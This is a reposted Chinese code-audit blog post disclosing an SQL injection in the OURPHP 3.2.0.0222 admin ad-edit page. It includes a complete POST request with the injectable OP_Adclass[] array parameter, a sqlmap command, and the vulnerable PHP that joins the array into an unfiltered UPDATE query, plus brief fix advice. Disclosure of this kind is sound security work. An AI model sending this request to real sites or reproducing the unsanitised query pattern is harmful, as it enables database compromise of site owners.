『PHP代码审计』OURPHP3.2.0.0222存在SQL注入漏洞①
发布日期:2021-06-28 20:00:32 浏览次数:2 分类:技术文章

本文共 1702 字,大约阅读时间需要 5 分钟。

文章目录

前言

作者:Ho1aAs

博客:https://blog.csdn.net/xxy605

一、漏洞演示

访问后台的编辑文章/client/manage/ourphp_adview.php?ourphp_cms=edit&id=1

POST /client/manage/ourphp_adview.php?ourphp_cms=edit&id=1 HTTP/1.1Host: 192.168.1.101Content-Length: 113Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.1.101Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Edg/90.0.818.51Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.1.103/client/manage/ourphp_article.php?id=ourphp&aid=0Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie: PHPSESSID=96n2ndd3fghsalv7s3b6rbkim4Connection: closeOP_Adcontent=1&OP_Adclass[]=1

注意,Referer的参数必须有效,否则无法注入

用sqlmap跑一下

sqlmap -r post.txt

二、漏洞分析

源代码在/client/manage/ourphp_adview.php

if(isset($_GET["ourphp_cms"]) == ""){
echo '';}elseif ($_GET["ourphp_cms"] == "edit"){
if (!empty($_POST["OP_Adclass"])){
$OP_Adclass = implode(',',$_POST["OP_Adclass"]); # 注入参数的处理在这里 }else{
$OP_Adclass = ''; } $query = $db -> update("`ourphp_ad`","`OP_Adcontent` = '".admin_sql($_POST["OP_Adcontent"])."',`OP_Adclass` = '".$OP_Adclass."',`time` = '".date("Y-m-d H:i:s")."'","where id = ".intval($_GET['id'])); $ourphp_font = 1; $ourphp_class = 'ourphp_ad.php?id=ourphp'; require 'ourphp_remind.php'; }

第六行的implode将传入数组元素添加逗号,转换成字符串,之后直接拼接成了sql语句

如果传入的数组只有一个元素,那么implode只将其转换成字符串

这里没有过滤,直接传入绕过过滤的SQL语句即可注入

三、利用

单引号字符型时间盲注

四、修复

建议加强传参过滤,以及防SQL注入的WAF保护

五、总结

由于以下问题导致该漏洞的产生:

  • 非法传参,无过滤
  • 传参直接拼接SQL语句

转载地址:https://blog.csdn.net/Xxy605/article/details/117770445 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!

上一篇:『PHP代码审计』OURPHP3.2.0.0222存在SQL注入漏洞②
下一篇:『Ruby』模块(Module)

发表评论

最新留言

网站不错 人气很旺了 加油
[***.192.178.218]2024年04月03日 13时38分07秒